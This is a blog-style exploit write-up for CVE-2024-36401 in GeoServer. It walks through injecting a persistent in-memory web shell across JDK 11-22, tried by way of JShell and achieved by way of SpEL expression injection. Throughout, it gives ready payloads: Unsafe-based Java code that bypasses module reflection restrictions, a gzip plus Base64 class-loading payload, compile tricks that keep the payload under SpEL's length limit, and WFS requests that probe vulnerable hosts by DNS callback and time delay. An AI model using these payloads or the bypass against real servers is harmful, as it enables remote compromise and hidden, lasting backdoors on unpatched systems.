CVE-2024-36401 Memory Shell Exploit for JDK 11-22
This article details an attack method using SpEL expression injection for memory shells, successfully bypassing reflection restrictions in higher JDK versions. Through techniques such as manual bytecode compilation and gzip compression, the author successfully compressed the final Base64 string to an acceptable length. This approach has been tested and successfully bypasses reflection restrictions across all versions of JDK from 11 to 22.
Introduction
Upon reading Master yzddMr6’s article on “GeoServer Property RCE Injection with Memory Shells” my first reaction was that starting from JDK 15, the JS engine parsing package is no longer included by default. This means that it’s not possible to write memory shells using that approach in JDK 15 and later. This article will detail my attempts to exploit this vulnerability using other memory shell methods, ultimately leading to the successful injection of a memory shell through SpEL expression injection, and I was able to upgrade the JDK version used to JDK 22.
Attempt with BCEL
During the analysis, I discovered that the lib contains a BCEL ClassLoader.
However, while debugging BCEL expression injection, I found that simple command execution BCEL expressions could not be executed. After further investigation, it became clear that the createClass method would always throw an error during the execution of BCEL expressions, preventing the return of the clazz and thus making it impossible to load any class. Initially, I thought that a straightforward BCEL expression injection could facilitate memory shell injection here, but it turned out to be unfeasible.
Attempt with JShell
Starting from Java 9, a feature called JShell was introduced. JShell is a REPL (Read-Eval-Print Loop) command-line tool that provides an interactive command-line interface, allowing us to execute Java code snippets without needing to write a class.
PoC for JShell Injection
eval(build(jdk.jshell.JShell.builder()), 'YOUR-JAVA-CODE')
Since the affected versions of GeoServer run on JDK 11–17, I planned to bypass the reflection restrictions that began in JDK 16.
eval(build(jdk.jshell.JShell.builder()),' import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = "Base64-PAYLOAD"; Class<?> unSafe=Class.forName("sun.misc.Unsafe"); Field unSafeField=unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class<?> currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class<?> byteArrayClass = Class.forName("[B"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();')
However, during subsequent testing, I discovered that JShell cannot execute methods or static blocks within classes in this vulnerability context, leading me to abandon this approach for memory shell injection.
SpEL Injection Memory Shell
JDK11 - 15
The PoC for SpEL is easy to construct, but it’s important to note that the payload does not contain # and {}.
toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"YOUR-SPEL-CODE")))
Initially, I assumed that I could directly use JMG to generate a memory shell injection payload in SpEL format, but I encountered an exception:
org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression is too long, exceeding the threshold of '10,000' characters
The exception was thrown because the SpEL payload string exceeded 10,000 characters: Issue #30380 · Make maximum SpEL expression length configurable). This value can be modified through reflection, but it requires sending two requests.
org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength
1
2
3
4
5
private void checkRegexLength(String regex) {
if (regex.length() > 1000) {
throw new SpelEvaluationException(this.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, new Object[]{1000});
}
}
By observing the payload of JMG, we can see that the malicious bytecode is directly encoded using Base64. It is well known that after a class file is Base64 encoded, the size of the malicious bytecode string increases. At this point, we can consider compressing the class file with gzip first and then applying Base64 encoding. This can significantly reduce the length of the SpEL expression.
gzip + Base64 Encoded PoC
toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('Calc',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()")))
This method can directly complete the injection of the memory shell.
Reflection Restrictions Bypass for JDK 16+
Up to this point, the article hasn’t managed to bypass the reflection restrictions for higher versions. I discovered that JMG’s default reflection operations use methods from ReflectUtils, which trigger reflection restrictions right at the start of code execution. Despite numerous nested attempts, I couldn’t bypass these restrictions. The SpEL method discussed above is only applicable up to JDK 15; for JDK 16 and above, we need to find a way to bypass the reflection restrictions. After multiple injection attempts, I repeatedly encountered the error module java.base does not "opens java.lang" to unnamed module, and this persisted even when I added the bypass code to the injector or the memory shell.
After extensive debugging, I found that the issue stemmed from the reflection operations in ReflectUtils. This means that if we can bypass the setAccessible(true) restriction, we can exploit this vulnerability to bypass the reflection restrictions in JDK 16+ and successfully inject memory shells in higher versions.
org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class<?>)
However, initially, I did not realize that the issue might be here. During the early attempts, I assumed that errors like module java.base does not "opens java.lang" to unnamed module occurred during the loading process of the JMG Jetty memory shell (②), not during the initial class loader injector process (①).
Here is the Payload:
1
T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('YOUR-BASE64'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))
The difference between this and my initial Payload design lies in the use of a different underlying defineClass method:
1
2
3
4
5
// Payload Before Modification
public static Class defineClass(String className, byte[] b, ClassLoader loader)
// Payload to Bypass Reflection Restrictions in JDK 16+
public static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class<?> contextClass)
- A different classloader is used.
- A
contextClassis specified. - The malicious class needs to be in the
org.springframework.expressionpackage.
With these modifications, the code enters a branch that does not invoke setAccessible(true), thereby avoiding reflection restrictions and enabling the injection of memory shells in higher versions (①).
Here’s What We Need to Do:
- Modify the SpEL payload.
- Change the package name of the JMG memory shell injector to
org.springframework.expression.
By this point, we have solved issue ①. Issue ② can be easily resolved by following step three.
-
Add reflection bypass code to the malicious bytecode (memory shell):
1 2 3 4 5 6 7 8 9 10
Class unsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); Module module = Object.class.getModule(); Class cls = HelpUtils.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(cls, offset, module); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true);
Potential Issues:
The above three steps are simple, but when regenerating the Base64 of the malicious class, you might encounter another issue. Even with gzip compression, the final Base64 string might still exceed the 10,000-character limit. Here is a small trick for manually compiling malicious bytecode to significantly reduce bytecode bloat (without generating debug information and showing warnings for unchecked operations and deprecated code during compilation).
1
javac -g:none .\YOUR-Evil.java -Xlint:unchecked -Xlint:deprecation
-
Manually compile the malicious bytecode, gzip the bytecode, convert it to Base64, and insert the string into the payload.
-
Send the payload to inject the memory shell in one go.
Extensions
Dnslog detection
1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.net.InetAddress.getAllByName("")
</wfs:valueReference>
</wfs:GetPropertyValue>
Delay detection
1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.lang.Thread.sleep(10000)
</wfs:valueReference>
</wfs:GetPropertyValue>
Summary
This article demonstrates a memory shell injection attack using SpEL expressions, addressing two points of reflection restrictions in higher versions of JDK. By utilizing a trick for manually compiling bytecode and gzip compressing the bytecode, we were able to compress the final Base64 string. This approach has been tested and successfully bypasses reflection restrictions across all versions of JDK from 11 to 22.



